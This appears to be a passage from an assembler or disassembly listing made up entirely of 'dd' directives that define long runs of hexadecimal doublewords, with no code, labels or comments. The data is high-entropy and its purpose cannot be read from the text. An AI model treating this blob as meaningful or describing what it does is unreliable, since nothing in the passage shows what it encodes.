2CEB265Bh dd 51385184h, 3E25D62Ah, 0F8D232ACh, 62F9D221h, 30EC1092h dd 0AB44AB92h, 42A20974h, 0DC855796h, 519618FEh, 145FA56Bh dd 321A6EADh, 3D7CD5F9h, 25511325h, 54A2E825h, 100C9A4Ch dd 0C29B94F8h, 57590757h, 0ACF4D0CFh, 4BFF4A79h, 35C9427h dd 3C74F4C0h, 6555963Dh, 0EA10450h, 7955B301h, 9A282184h dd 6F252208h, 6F8E111h dd 2BB87B18h, 0B983FC4Bh, 0B785E684h, 0C8D2588h, 741E6976h dd 3753FFE6h, 89202144h, 223224DEh, 0B3434536h, 7EC7F840h dd 0F8450004h, 145D3B43h, 0EB29C372h, 0F488392Ah, 50A54499h dd 867BA87Dh, 747B1C54h, 2F570C24h, 8C25FC9h, 0F4956157h dd 4C8772Ch, 3A073BB2h, 589E885Dh, 4D32DC64h, 0CB23901Dh dd 0FA8FD820h, 0EBB096F4h, 582382C4h, 0C8A11008h, 7BF84094h dd 74335B77h, 0AB050E4Fh, 80A3D40h, 327F3120h, 0FE352240h dd 0F578013h, 49C68530h, 0C59D1C68h, 8DDE9D8h, 0D344040Ah dd 129CDC21h, 8C811C9h, 0B84284BFh, 0A010B521h, 0E1ACAB88h dd 28747C01h, 0E438C82Dh, 0E51A5C77h, 75850D39h, 8886878h dd 28BD8F1Ch, 85420A64h, 0EB2E4022h, 720367Eh, 0F022777Eh dd 0B970149Bh, 0C1DFAEC5h, 2D277430h, 9917BBADh, 15844852h dd 0E0B0698h, 0C4D03275h, 0A84C3B24h, 457E077Ch, 3E286042h dd 3707809Fh, 2ECA502Dh, 17F6CE2Bh, 250A1FACh, 29D2CAABh dd 9AFE6AF0h, 0AF441A89h, 0C813070Fh, 0E40C47B4h, 0C3052290h dd 5A0F7C2Ch, 0E8CC0250h, 3A6922FBh, 0D517A7B8h, 718A430h dd 13E25E82h, 8F8CFF02h, 0B4109DE8h, 0EEB54283h, 9DBE72C5h dd 0F89792D1h, 0BA97F5ADh, 1009D1C9h, 0E8E4442Fh, 465323FCh dd 2A213C61h, 9AE11092h, 2508120Dh, 0B2D49D6Ah, 0CCBE4444h dd 0BE771442h, 3083B051h, 0AE9C9D99h, 0E4226789h, 8D293832h dd 0EF5130D0h, 94BE13E2h, 59C92865h, 680A295Fh, 3D912A30h dd 8B14B861h, 68DD2BC6h, 27C0FAEEh, 0B9D7286Ah, 5F481850h dd 0A83ED602h, 0F9EC926Dh, 0B5C6B493h, 31294C86h, 0D27B0C2Dh dd 4D830680h, 95EB02F8h, 56FD07E8h, 87273BE3h, 0A0D3197Bh dd 0A28B2E09h, 29506B46h, 0F4E69D54h, 56496A2Dh, 64FF4B52h dd 0BD8D1203h, 4922FBD4h, 0ABF320D0h, 0B3D888B9h, 84FCB026h dd 9084AC76h, 0DDBF6B86h, 0C82864FFh, 4862B318h, 13A711B5h dd 32EBA46Ah, 0A0D9319Bh, 0FD9531Fh, 0CB7B54E8h, 4AC876D7h dd 455EAD75h, 64DC765h, 503B2128h, 0AF4F4F44h, 23E4D424h dd 8126AE4Ah, 0BC2A481Ch, 2D34CC14h, 0C73D778Bh, 0E7FFBB49h dd 82B30A1Fh, 60741845h, 88FCFF82h, 5D724B42h, 0FE30FF2Dh dd 8415E2C2h, 12E7985Dh, 42CCB83h, 0B80C9B0Bh, 0DD177243h dd 0E891D9E9h, 47A7D8B5h, 0D74FD8F2h, 0AEFC9B4Dh, 6A95492Bh dd 49F06B11h, 7CB2CD7Eh, 0D69E980Fh, 15A86CE9h, 779514CAh dd 28D6F49Ah, 4396840Ah, 0DC580851h, 1C7D3883h, 29CF9168h dd 57241320h, 821CAA76h, 0D8F0487Eh, 82B4F442h, 8E252F12h dd 0CC9F040Eh, 0C51012FDh, 0D8AD9112h, 80FAAC0Eh, 9F5C3468h dd 202E841Fh, 1490B4F9h, 23634D51h, 0AAD017D2h, 54635532h dd 3D144FF9h, 27E7E8C2h, 3348B157h, 71593027h, 0DADC3252h dd 0DD8825D9h, 53D60913h, 0FD989930h, 8CC9584h, 49B30CA7h dd 184D648Bh, 18088A57h, 0D6160575h, 0E4D54BEBh, 66B5D299h dd 0F7DC82B9h, 8EB8A5Bh, 0F38BB71Ch, 8CC7DDA5h, 482D927h dd 0BA1F65E8h, 8CF8AD98h, 4FED2CD7h, 0A9B3EEA5h, 0D5012B14h dd 48F032D9h, 7BE35618h, 58B1C6B8h, 0B1A76BFDh, 64110B58h dd 34F64C9Fh, 62720E40h, 235F2803h, 0C2CB7160h, 0F633301Ah dd 0EC25A1B7h, 9D1A54E0h, 0F72DDDEDh, 0EF4138ABh, 60126F0Ch dd 0AAFD5952h, 32F4B296h, 45562616h, 0DF099E11h, 0EB442C33h dd 0DDECADFh, 81D670E0h, 0FCADE801h, 35D4AB4Dh, 95699884h dd 0EB601854h, 0E3B8A1E3h, 6483122Bh, 25BEFDD5h, 0A1EA4003h dd 0D28D0C0h, 5A1EB4A2h, 9135FE5Eh, 1584EA05h, 3EA28DAAh dd 27DBC4FCh, 55BCB035h, 2D54B7AAh, 27367909h, 0E04D347Dh dd 795D8202h, 0B9402599h, 159B25D2h, 8BFF2792h, 4A4C4974h dd 8798AABh, 8B439FA8h, 9FE61DC0h, 5E1C1757h, 0A78524E9h dd 92E0A91Dh, 1C05E6AAh, 7B2114F0h, 57FC60Fh, 0D08C55E8h dd 0E60CC987h, 8FBE5230h, 48BB2D50h, 0AE9702C4h, 4FF89434h dd 0E71A5B16h, 1CD07D4Ch, 19AD9716h, 93DCB829h, 884FBD8Ch dd 575AF9Bh, 0C8AB2B2Ah, 0B45435A8h, 2C86881Dh, 4CB0D74h dd 0E90103F8h, 249922B3h, 0E56A0A6Ah, 640AD69Dh, 5810762Dh dd 0A5480AEh, 40541874h, 0F072C83Bh, 7D21B19Eh, 3919DE42h dd 0C1A5F6F4h, 711824FCh, 870E87Eh, 176D5374h, 0F8305332h dd 0F727682Ah, 0D27D7712h, 93404979h, 68AFEB01h, 0C243A010h dd 23821FB1h, 4B2504Eh, 10271850h, 35AEEEBDh, 0A3102E8h dd 51299F8Dh, 4BDB1C59h, 7D38BB17h, 23B85268h, 91EF36C8h dd 785531B5h, 55E80C03h, 0BC3E9BABh, 47882FEFh, 3BD488D6h dd 0C53F847Ah, 45F18053h, 8B1B5BE4h, 4483FC3Dh, 0CBC7F250h dd 0ACFE0C1Eh, 82EAF065h, 0B7D0EC72h, 5A32FDB1h, 0A7572D98h dd 84386E48h, 2B814517h, 0A19784FCh, 7CC4A41Dh, 59CDD765h dd 9A5FFD2Bh, 0E0995F4Ch, 0E8769FD4h, 0EBF31816h, 779A8C21h dd 965E7D1Ch, 0DE25DDCEh, 6C846E9h, 0E655CC6Fh, 0D3C78C7Dh dd 0CC2F5008h, 0C6D5BB27h, 95CA8433h, 0B813067Ch, 755488FBh dd 9CFEBC4Ah, 0F79D081Ch, 56AE1185h, 0ED8BAA89h, 0C6409E69h dd 0B291A3D8h, 0C2F81633h, 0D408A7C0h, 27239B89h, 0C0F083Bh dd 0AE4C24B2h, 0EBA29B97h, 0C4F2E101h, 5F741BA8h, 0A528C1Ah dd 0BB9274FEh, 135B3CFEh, 4DC86CB5h, 0D85E97DCh, 16225A49h dd 0EEE5788Fh, 485176D2h, 959B0F55h, 0D052B8F6h, 848731A5h dd 2B277537h, 88C49CEDh, 0A04044FCh, 0B1428323h, 9D186211h dd 9FB546B3h, 0F772A4DEh, 55D3B8F1h, 0F86F4740h, 6AFE5EBAh dd 77406BEh, 0B52F1BE8h, 3380A40h, 0B2AC9FB1h, 0B415A243h dd 0C4E8F6FBh, 0E4120214h, 3D5F39CCh, 12C31894h, 0C3995419h dd 802FCABEh, 4E1F16C7h, 0DCC55781h, 8998BC91h, 243E6A4h dd 0E8A16653h, 6CF7438Dh, 0B541E73Ch, 0D463111Ch, 310C1769h dd 0A3253458h, 65F2D643h, 0C12E5358h, 13A3107Fh, 0A2F0B905h dd 0E8A2BB04h, 198F6662h, 1836C55Dh, 13EB4F10h, 683619A4h dd 433C49C0h, 0EAC14B71h, 74791A75h, 3FC1EC23h, 996EFEFBh dd 6A4B11EFh, 89D254B2h, 0DE243F74h, 0ACF4800Ah, 0AC2A47D9h dd 14069B26h, 99A2AC32h, 900DBDD3h, 0A270F1A0h, 88873C0Ch dd 1AF018EFh, 2548E168h, 88A143D0h, 0D4A768CAh, 62FA9823h dd 630AB1C3h, 0B04B2C11h, 5389624Ah, 35C4E92Eh, 0B2EA06ECh dd 7AF57411h, 0B793F1B9h, 0C6572739h, 0C268BF37h, 7CF574F0h dd 0BE71C2E2h, 0FF346898h, 25C4B036h, 7BADEC32h, 84D62814h dd 8032A1ACh, 0CCB59D96h, 1922211Dh, 0A8A31015h, 0C8F946F5h dd 0C681BF20h, 0FE815908h, 72CB84B8h, 7BCDE999h, 74966721h dd 82D4B45Bh, 3EFD8045h, 3763F68Bh, 7C836420h, 240CFE47h dd 1E647559h, 0C9EA5E95h, 0EBA0E056h, 93A3E4B9h, 30885C91h dd 188F2154h, 119A7FAFh, 61119417h, 2B08CE1h, 2F9E7C59h dd 76FC5C80h, 0D99F3382h, 26C4916Fh, 982FFC81h, 82FEBE28h dd 0B1086219h, 173366DBh, 5B269722h, 0A0D85854h, 171D2184h dd 0BE571942h, 8DF8FE75h, 0C5921790h, 0A2BCF813h, 92752920h dd 4823646Eh, 152CC056h, 53425624h, 0F8E2CE1h, 0E20DF810h dd 88881753h, 796C67A4h, 6B588AF4h, 5924B116h, 4D100EE0h dd 0E45DC816h, 471B78E0h, 164B42F8h, 2468AF46h, 43908F53h dd 0B71453A2h, 799C2288h, 43F4182Ch, 15CF85A3h, 0B884208Ah dd 25083DA3h, 0A38D86AAh dd 36F77842h, 0A2AEA320h, 44206E60h, 0EB99575Ch, 2DF7F1A7h dd 53F221F7h, 6DCA93E8h, 71981461h, 0A4F0708Eh, 5E329CB0h dd 432FB616h, 3C05A273h, 0F0263045h, 0CCA0A821h, 7171902Dh dd 0B3FC8559h, 0C29FF141h, 0E0878259h, 932A3C01h, 801DA618h dd 0A3415FFBh, 0BE127F3Fh, 0AC1056F3h, 18B74C7Ah, 0BA940A6Ah dd 6F6EBC15h, 642EE0CCh, 0A614048Ah, 0B0FDF22Dh, 2803F83Ch dd 0D30F6375h, 0C430216Bh, 0E0A00DE7h, 0E2D18710h, 2ECF1561h dd 33E2D2A3h, 5E2036F6h, 0FE5905ADh, 816DD1C3h, 0A44185AEh dd 40E23253h, 141B10A3h, 4CA2F88Ah, 0D8B44A5Fh, 1448031Ah dd 5319A1A7h, 0D211615Fh, 0AC55B7F5h, 0F56C1A99h, 98FB97h dd 8009E114h, 7CF7990Dh, 4A8B0424h, 2880CCC2h, 2044EC97h dd 0BE790AFEh, 5C49A7E1h, 0BA870955h, 0D888B175h, 933C0D6Dh dd 665B88CBh, 0E61EC76Ah, 5EE133Fh, 0DC4462EEh, 943DBD5h dd 4DD7506Ah, 0EBDA9630h, 4891A13Dh, 4D8D1A6Dh, 82627D96h dd 66525975h, 681C2D57h, 0A4B72003h, 0DDBB2A65h, 4F843A5Bh dd 0C4D7D488h, 1D1367E8h, 0B6C5Ah, 4C7FEADh, 51016B24h dd 0D184B8C2h, 561EC4F2h, 21A5198Eh, 0F9E1FF56h, 0D9F1650Fh dd 68BB5043h, 36F23EAh, 711C8B7Fh, 96201E38h, 84E8ACF0h dd 5601A4ACh, 4812C9E8h, 12C6F8C0h, 285318FAh, 94143EE4h dd 90CB33Ah, 606A756Ch, 0F0ECC824h, 40235D2Dh, 0E0CDB85h dd 223D7608h, 7C90BDF4h, 0DCB703EBh, 0FAF098C9h, 3B13C82Bh dd 6AC273CBh, 0C60322F4h, 0E7D1D975h, 5D01C074h, 64D92908h dd 836B3B57h, 9620CD8Ch, 0BBC59D2Bh, 140DD884h, 0D98A03AEh dd 1DC90855h, 0DF138110h, 5759EE0h, 4ACBE8F9h, 1A2CBB66h dd 4EE814F8h, 4888920Ah, 3D0C884Dh, 147DDD59h, 8464C9D8h dd 0CC0C5B0Ch, 216EE84Fh, 0CF46251Ch, 0F103F87h, 0A2AF09C8h dd 51DEEBEFh, 8C6C1711h, 60B76A9Fh, 8B03FCE6h, 0DCC40E04h dd 0C84443A6h, 0C06437CCh, 0CB0D031h, 10A043D4h, 0DCC490D8h dd 70E03180h, 6443940Ch, 0C4509810h, 0A031409Ch, 43A40C30h dd 10A81024h, 0C210ACCEh, 10A5F0B0h, 2186E0B4h, 0BC9CD0B8h dd 0ACC08861h, 1898E462h, 218680E8h, 0F08870ECh, 54F46260h dd 8840F818h, 90B739E8h, 0F2C4859Fh, 0CD13D04Ah, 277A825Bh dd 143812B1h, 0F6B04FFBh, 5480FA9h, 30161C8Dh, 0B8ECEBD1h dd 2A4DE3Ah, 0C6A0BD8h, 4FFC8A85h, 10289428h, 32BC20B5h dd 1E12ED2Bh, 3F3A69FEh, 383404C7h, 0F748EED1h, 0E8F0EEA8h dd 3C28C552h, 0D9D6A2E4h, 58B37520h, 3AADC412h, 0E9220C90h dd 99C8CF44h, 0F8263441h, 0C35E7F31h, 5F022DC1h, 62049952h dd 4F33412Eh, 1391C9E5h, 0D2330EC1h, 515024F7h, 0A2BABDC4h dd 0E0680B5Ch, 45005CA4h, 0CBB0A810h, 20D73C94h, 5497F1FBh dd 0A929C284h, 8D307684h, 92C27AFAh, 9E7BFF57h, 6007DCA7h dd 15180BBh, 0F38B1DC0h, 9A0E10BFh, 6AEF1443h, 2B278D3Ch dd 0C1F45A78h, 33F6F73Fh, 0C1C633F2h, 0F5615DF5h, 8E6FDBBh dd 9CFF1D50h, 0B913BE0Eh, 45969AB1h, 5308ABF3h, 326A09A6h dd 10964282h, 551C3277h, 5F52265Eh, 2B9D0B16h, 104FFF90h dd 6C4B032Ah, 393857E7h, 0A22CB5A1h, 632FD2Fh, 5E89038Eh dd 46E61F7Eh, 41EB2F18h, 0DF01B2FDh, 344B7170h, 2C3D66E7h dd 31FD1AAFh, 424921F9h, 0E97FE0D1h, 35298F1h, 310B46EBh dd 5E079F02h, 0A9D0243Bh, 42401674h, 318AFE1Ch, 8B43FF68h dd 99EF95FAh, 2B2289FFh, 1B4900C3h, 955256D7h, 252A8085h dd 77A9001Ah, 3B0472D7h, 0D16EDE76h, 7A644B34h, 0CA19810Eh dd 481616AAh, 580098F0h, 5725B77h, 5058FE83h, 4B6A1BDDh dd 7722F624h, 4710A177h, 3B314212h, 32893708h, 44842B18h dd 428C2126h, 461E221Bh, 90B2119h, 0D156730Ah, 0C62B2030h dd 3D1051Bh, 0EAD713C3h, 0E810CBCAh, 6BBF4107h, 0E95ADEE3h dd 0FFFC2FC6h, 9BFC6513h, 0DB331455h, 533824F3h, 9D395260h dd 2640843Ch, 76B8644h, 5B64FF67h, 30021081h, 0D9B1A883h dd 2940FC8Ch, 2C7064EBh, 9608C3Ch, 11A125DEh, 32659455h dd 13382545h, 0A5B259Dh, 685B336Ch, 8834102Ch, 4801C529h dd 17443012h, 21140263h, 289797B0h, 28437D74h, 382F7582h dd 2F6564DFh, 0CBDE2774h, 18D3FDCEh, 0F8718CBFh, 4E10A742h dd 4A14420Dh, 66FC3320h, 85D295A1h, 7C3F6A3Ch, 2BA48535h dd 0A6D988EEh, 41FE13D6h, 0B514A1EFh, 5FFA624Ch, 75BC2656h dd 4D8D0D0Bh, 27BC2855h, 0D04BF33Bh, 858AE7D3h, 27E3CFBEh dd 0C53675F8h, 27FD64DEh, 0E0990230h, 7E1C11A7h, 0C20DAB3h dd 0FB805954h, 0CAEA73D2h, 466A8492h, 27D4F7C3h, 0AEF5535Dh dd 0D9FAD32Eh, 319A0425h, 1440BC1Ch, 3322171Ch, 0C8DC206Ah dd 8625A6F6h, 0FB58EC09h, 3394999Bh, 50EA444Bh, 409966FDh dd 0A0F249A7h, 0F8421022h, 0BCBD4A75h, 0E418A3C8h, 31D4EB29h dd 1144F998h, 320516FAh, 96752051h, 7EC5202h, 0CDCCB77Eh dd 0E490E83Fh, 0D6505922h, 0FA936A91h, 0E12E9EC9h, 684F2E3h dd 1238323Ch, 98397D8Ch, 7B84F78Ah, 3284BBD4h, 0BC63B546h dd 2191E3E1h, 3EE39CD0h, 0C5A1B534h, 56AC1329h, 0B41B7FCh dd 560C95E8h, 2950C408h, 89BC72Eh, 80BE5605h, 34EA0616h dd 7C17E48Fh, 0DC0A0848h, 631C3DCBh, 4275810Eh, 251C28A1h dd 1DA883C4h, 0B7B6B4F8h, 16201345h, 99A85468h, 0B3D0911h dd 96F6A169h, 0B2C10142h, 480CA84Ch, 0CB1E15EFh, 44BE1885h dd 28840A26h, 842815E8h, 1F95EF3Ah, 165C3706h, 87D01089h dd 0DB550EAAh, 1C5EB402h, 0F1A810C1h, 1C1C0BD4h, 5CE518BEh dd 88C6B2AEh, 0FCA46165h, 0C93E0DFFh, 0DFF93F14h, 0CBA9902Dh dd 7D6B9A5Fh, 0F44165F0h, 3482462Ah, 0E815B0A9h, 211B0794h dd 2100A438h, 22C3BE0Eh, 0BCF2D378h, 12F9CAE4h, 6A146691h dd 0B80C963Ch, 581D575Fh, 0F89088Ah, 67D890Dh, 15A8E92Fh dd 7C63FCA8h, 0E006D864h, 852BE80Eh, 18200AF3h, 6B3036A9h dd 0CEBDFD65h, 0CC5D3901h, 0A3FF1576h, 1233986Ch, 67A221C8h dd 0D8340C98h, 75B7140Fh, 0AC791ED0h, 0D412CC9Bh, 1485493Ch dd 0AC751AE0h, 0DC12CCA7h, 3D852F34h, 0AFAC7F42h, 28E412C9h dd 53471A6Ah, 6A412E1Ah, 51495003h, 0A46E5DDEh, 89CBD397h dd 92DCB608h, 695D7462h, 342BF8F2h, 0F7E8AF28h, 49FEE99Dh dd 63FC2D91h, 65F45B8Dh, 3A2FF3Ch, 54A843D3h, 0A94418F0h dd 8BDCEE2Bh, 692024BBh, 99C0FAFAh, 9268817h, 0F4758B03h dd 0A3F08D59h, 3BA84394h, 0A410C264h, 90784FAh, 0FE2C9D30h dd 853FBB7h, 3045FAA4h, 0C6A8A762h, 0D522FD27h, 0EAC9E80Bh dd 398409CCh, 0D6A1F425h, 0FB6864D5h, 912E09Dh, 8798F4B5h dd 0F9043EE8h, 3BAF67FFh, 488E0DAh, 20C1F72Dh, 8A147427h dd 84412801h, 0F4052B2h, 5F1750Dh, 1A0010Dh, 0C48761BAh dd 0D01E037Eh, 330EF083h, 4C1A2C2h, 88F943A9h, 19E87481h dd 59FC418Bh, 0EDE4D132h, 0BA24B624h, 0F136D7Ch, 0EB02F810h dd 418DCD1Fh, 2B1956E8h, 0FE14C3C1h, 64FD210Bh, 0A4AF74FCh dd 83305760h, 0C465CCFh, 0B5407CA8h, 3A79BBE4h, 5634E4EDh dd 0F211E825h, 0C7E9C6Bh, 76A92AA3h, 29F2FD98h, 317F4C9Dh dd 0EB61057Dh, 1C649212h, 500B5C44h, 8F85ACAFh, 51FCB266h dd 0AE0EC735h, 61A3A216h, 38EDB55Eh, 0A15A0284h, 0F94DCFC8h dd 0A61619DBh, 9BA36AAAh dd 36743279h, 0C8FC96Ch, 3609DABBh, 7E267502h, 3F0C6BCCh dd 3A53E246h, 11741666h, 4873FFA2h, 3B2AA3FCh, 0FEB2D13h dd 35793272h, 1CE89FD7h, 0CCFF5ECBh, 844A9D9Dh, 1041C17Fh dd 0A23EC76Bh, 2E5585CFh, 524D6F25h, 0A9A023ABh, 14855E84h dd 0DE1CF766h, 3C37F86Ch, 0FC2DF879h, 0C98EBDEBh, 891017BCh dd 1C50A163h, 0C8AE2A93h, 3B3C2366h, 72F98AC8h, 5712F702h dd 804E51B2h, 87D29B9h, 4157EE6h, 18823E01h, 0FCD2DF03h dd 3B4B02EBh, 2E72144Dh, 9BF7254h, 0E30974C1h, 12C06BD7h dd 531704FFh, 476D2588h, 6DE3413Fh, 2937149Fh, 0D80317D9h dd 11D86010h, 24603E7Bh, 88287459h, 43870354h, 8BF4A2F5h dd 0C1A78CDDh, 0F26B7652h, 0F6102E5Eh, 0C4E8361h, 0C904EBE4h dd 4E0C200Dh, 7EDA2BB8h, 0E5FA05BEh, 2C11E824h, 0E4A7FECh dd 5AE49852h, 80E93459h, 0DCDF190Dh, 81542F6h, 358FC65Dh dd 292B69E9h, 0A5B8BE75h, 4F235F01h, 87D9E0FEh, 0A7ECC2D3h dd 0F32C242Dh, 4662D3Fh, 0C0353B18h, 6D4C775Bh, 1BCC08Bh dd 5C340FF4h, 365075C2h, 2F704DB6h, 64FFF4BDh, 435D882Dh dd 3B48FC09h, 941E2EC6h, 0CF572CEDh, 3A41012h, 552B55D7h dd 0F752936Bh, 6FC1A2DDh, 9243EA5Ah, 0C6819827h, 48E6E60Fh dd 44F2B7F0h, 9F92A02Dh, 557A5E21h, 51C84F41h, 0ECA32712h dd 32B08E64h, 0AA9F8F14h, 42D34721h, 98884A3Dh, 831D75E0h dd 0B9BC163Dh, 43B244Dh, 0BB3FE5AFh, 497438F2h, 0E917520Ah dd 0C7C6E460h, 0FD25BEEh, 122A6559h, 90C0945h, 29F61477h dd 2D540876h, 5E102A82h, 0D55A1F4Eh, 0FCA341E8h, 0E812D7A6h dd 0A3A33858h, 44290C24h, 0C9B4319Ch, 2731A70h, 0C1FE8B58h dd 2A4204EFh, 17B4467Fh, 0B93BF9E8h, 3D1593B8h, 32EB1442h dd 38BB12CAh, 5A0F352Ch, 2BCDACB6h, 0ABB6E504h, 0F40203Ah dd 4D243B8Ch, 0FE53138h, 4E5989EAh, 42438A28h, 0EFE2154h dd 0EB610BC4h, 0E61D2314h, 0FEFC20B0h, 0C58121AEh, 251BA8EFh dd 913EC023h, 0BDEB3E04h, 8914C833h, 0A46B3F23h, 2816920Fh dd 7C810D69h, 5A754448h, 0E889D8C2h, 0C77AF648h, 50A50175h dd 0CA9A5EAh, 6F24E804h, 0C3611D3Eh, 0ED7B406Ah, 0EDD1CD06h dd 6DC35553h, 3ABD9CBCh, 0EB890595h, 0FB210B61h, 8A1D102Eh dd 72272237h, 61281CE8h, 44391606h, 10742A42h, 75075314h dd 0C34CDE20h, 0BD35D6E1h, 9B155B88h, 9A3F94C4h, 0D62C9B10h dd 8616C116h, 0B7865A24h, 0A19CAB81h, 0F022708Dh, 7785C8D5h dd 3295BF1Fh, 0CEF05BEh, 1E572037h, 0B79B0DEBh, 0CCA02BD3h dd 548B0A01h, 82402EC8h, 4774D285h, 0C58A8C86h, 0C0BD82B0h dd 1D7204C4h, 0CCD9F72Dh, 2BDA03E1h, 788D100h, 0FA754947h dd 0EAC85F8Bh, 440F4626h, 8330CA10h, 2E90CE2h, 0F3061B74h dd 49B677ABh, 7F8C4A45h, 40DC35Fh, 0B9C461AEh, 0B7A8570Ch dd 53567A0Fh, 84E4D96Ah, 89C6F714h, 40D56A23h, 0EA83D686h dd 21EB056Fh, 446068Ah, 0B0257464h, 20A42902h, 5CEB7534h dd 2A0A1E16h, 0D1484E3h, 2F3D9821h, 0F375304Bh, 5E5B10BFh dd 0C7F7CEC4h, 122866B2h, 0B4669F3Bh, 75291284h, 6C1B3BEEh dd 0FA5E3433h, 89966156h, 0B9C62E17h, 21AF4BC8h, 2D068B7Fh dd 0A669E81h, 83D8C612h, 0C88450DEh, 0F0F6E82Ch, 0C2F7251Eh dd 440C8191h, 0C6C7D308h, 1EF57458h, 417DE281h, 700E1591h dd 0D3045C86h, 36465445h, 0A0A6FACh, 0A60078Ah, 0BAB1F875h dd 42A485A9h, 9AF55553h, 0C46F40C0h, 0CC4362CBh, 3C00F7Eh dd 85F6A07h, 963E65F0h, 250F4831h, 0C22A8F5Eh, 41048A04h dd 0DD88E083h, 0EB471903h, 0DA372CD2h, 0EF84C962h, 0DCC4B1EEh dd 450752Bh, 0DB563310h, 17FA5B44h, 4433F8B0h, 0A1520B41h dd 0E970203Dh, 0E98D0D11h, 465CCC9Bh, 0EB31D050h, 0FD83CF18h dd 1275C386h, 0B2D8F702h, 0D2774885h, 9D2075A5h, 0A95C13A1h dd 24CD343h, 2C68D0F0h, 0AB29E3B7h, 0E20B5A18h, 14517F8Fh dd 0BF11C20Fh, 2BEF8D14h, 0ED325312h, 1011AF15h, 4640188h dd 942AA74h, 0C8803D39h, 0C9117502h, 86740833h, 0FA6F051h dd 0AE0C9709h, 8914E7D0h, 4785F73Dh, 1781D88h, 0DCA13C29h dd 0E655F6CFh, 0D80D30B5h, 718D5615h, 0F03BFC07h, 6E51372h dd 0EE839861h, 0A0352870h, 14ED7323h, 9538685Eh, 2A453088h dd 44F15E8Dh, 113C1142h, 0D6600D19h, 1075285Bh, 8789537Bh dd 0C9F3AC4Eh, 5411E65Fh, 5773AB3Bh, 0EE50580Dh, 0F7ED4FEBh dd 6A945EC7h, 0E09D88EAh, 0E99F8D7Ah, 347E42B1h, 0C759FEEFh dd 2B24E41Ch, 29AA907Fh, 0BEE53DEBh, 8BE44D81h, 970878F0h dd 2DB8E064h, 4B695D4Ch, 0B928D6F2h, 45B77E3Ch, 40A30917h dd 205E582Ah, 0C0691E06h, 1F8DE6FDh, 269E4E05h, 0FC5E1615h dd 9E253635h, 4C50CB5Ch, 56536220h, 2B1118Ah, 699E7224h dd 0A7017189h, 0F7F64F75h, 0F147D35h, 0D0384607h, 0EAA715A9h dd 806B50Bh, 750B0A0Bh, 5F9685F5h, 110B27D4h, 8D1801F0h dd 61E8FF7Eh, 1A28B402h, 0CE0F2228h, 75E03821h, 341E4C4h dd 0EB1865CEh, 0C18D8666h, 36DFF423h, 6B60B1EBh, 0E9C28A0Bh dd 8DB5C043h, 1BFF6C47h, 0DD0C7F4h, 1495ADFAh, 1AD9FA0Ch dd 77C53AE4h, 5BB0065h, 6F3CF263h, 3BC010F9h, 1DDDBBB5h dd 9D73F87Ah, 0F5FBE882h, 85FAFDFFh, 8021720Eh, 753AC27Bh dd 2CD4711Bh, 0CED627F6h, 4888E885h, 66805447h, 26430EDEh dd 91F90AEBh, 82B336F2h, 4CF56EF5h, 53BEAF20h, 8078AFFh dd 498A6574h, 0F6D1C680h, 0CE48A182h, 480430D0h, 1E1AEB40h dd 192FF980h, 0F55C0A0Fh, 752E000Ah, 5968950Bh, 483C8D06h dd 0C4D1201h, 0CF1B22EAh, 73D239D0h, 0D72A6882h, 1FC0A32Eh dd 0FE3BFB2Bh, 4B3A6A96h, 0E810DE41h, 0F96A480Dh, 724C4A6h dd 443FE3EFh, 10114D82h, 2131C985h, 81FC7D24h, 0FB3B4C77h dd 0F684872h, 14CB3F46h, 1E471D05h, 7DE3213Fh, 44611218h dd 0EC3AB2Bh, 5E4E4A73h, 0E8578267h, 0E1B147A7h, 0EBE06024h dd 14462864h, 0C32B1742h, 6870229Ah, 99208752h, 0FD5D1888h dd 71977628h, 693D5130h, 268D26CEh, 81147282h, 2D0C85E9h dd 1850505h, 0EC731840h, 6E8BC82Bh, 0E18E1AC4h, 400982D4h dd 0CF1A5004h, 6B7DF80Ah, 7FFB6902h, 36EB8DE8h, 0C2DB390h dd 0A1048956h, 78044E12h, 400EE342h, 76410148h, 0C6C0B789h dd 345AC2E8h, 74C48AACh, 2A1CA116h, 0C105B2F0h, 80D97557h dd 60792527h, 5D505BADh, 87F7DA9h, 2D6AF15Ch, 53A942EBh dd 80447FBh, 0C3D18C9h, 114AB553h, 8AD710FFh, 778D241Fh dd 0B1F92081h, 21C3E4DFh, 6619392Ch, 162B6BDCh, 1057ADFh dd 0D0EB461Eh, 0B92DFB80h, 7CA04E6Dh, 9B058114h, 69162B1Ch dd 0E8572731h, 0E38C0F27h, 0CE38A86Eh, 3C09B584h, 7A8F9124h dd 59396A31h, 5E13F775h, 5BA17430h, 84C30AF5h, 502320Bh dd 0F8E3783Ch, 13A458A2h, 631F2208h, 1B39CB12h, 53177506h dd 20A412AAh, 0ADE81F04h, 46015E1Ch, 0FFC80B61h, 0BF10E968h dd 0DEA90369h, 0A0BD2351h, 31F34AA6h, 0E386F5Bh, 3DDFEC97h dd 30E91ACBh, 32EC14E2h, 4456570Bh, 8B663134h, 90C72358h dd 0C3254A57h, 0AD468D41h, 28F1F239h, 2F8D3B37h, 5BE23673h dd 8E0EEE2Bh, 0D809F4E9h, 53841288h, 2276CAF9h, 0C945805h dd 1CAF0F09h, 89F13403h, 9358BF4Ch, 2F188A06h, 4A2D64E9h dd 0DE9FF738h, 0F60C55C0h dd 40D208C1h, 0B4AA69D4h, 8291FC66h, 2A4DEB0Ch, 4BB86104h dd 9D1C757Fh, 3E420114h, 4002E183h, 0D87D8106h, 77800234h dd 75D830F3h, 457D8790h, 0F6277613h, 0C701B701h, 18283805h dd 0F15B2227h, 11EBFF86h, 608060B5h, 0C91BD9F6h, 31BF774h dd 372889C8h, 0A6F905BBh, 90D36102h, 0F7F8F143h, 8FD445D8h dd 0B1E089E2h, 38FD02A9h, 6A842369h, 271FDB01h, 9D9A66E5h dd 80053BF3h, 39EB4270h, 65D57E2Ah, 0E1105BF3h, 0F9592A45h dd 0B780ECBFh, 46E2319Bh, 72A97709h, 38592DF4h, 0E0D68478h dd 465AA469h, 8AC7458Ch, 75B42065h, 88807A89h, 0F2FFC983h dd 0BDA041AEh, 9DA18A4Fh, 471482FDh, 64740738h, 5E0261FEh dd 0BC95FFCh, 7B383045h, 7AE38350h, 73D96F26h, 0A24AF7EDh dd 0CB58F45Ch, 49B59DBh, 468AA6F3h, 3AC98B80h, 6777EA47h dd 10498004h, 0C18BD1F7h, 415E5B29h, 8BF6869h, 8D6A1DEBh dd 0BE64A5A4h, 578A1195h, 0FE1622Bh, 4A0A3B31h, 23C8DC9Eh dd 0E881A91h, 50FE7971h, 0F4FEEA55h, 0FD0ACF08h, 492503E8h dd 604C0CCDh, 118A2019h, 886497A0h, 63471729h, 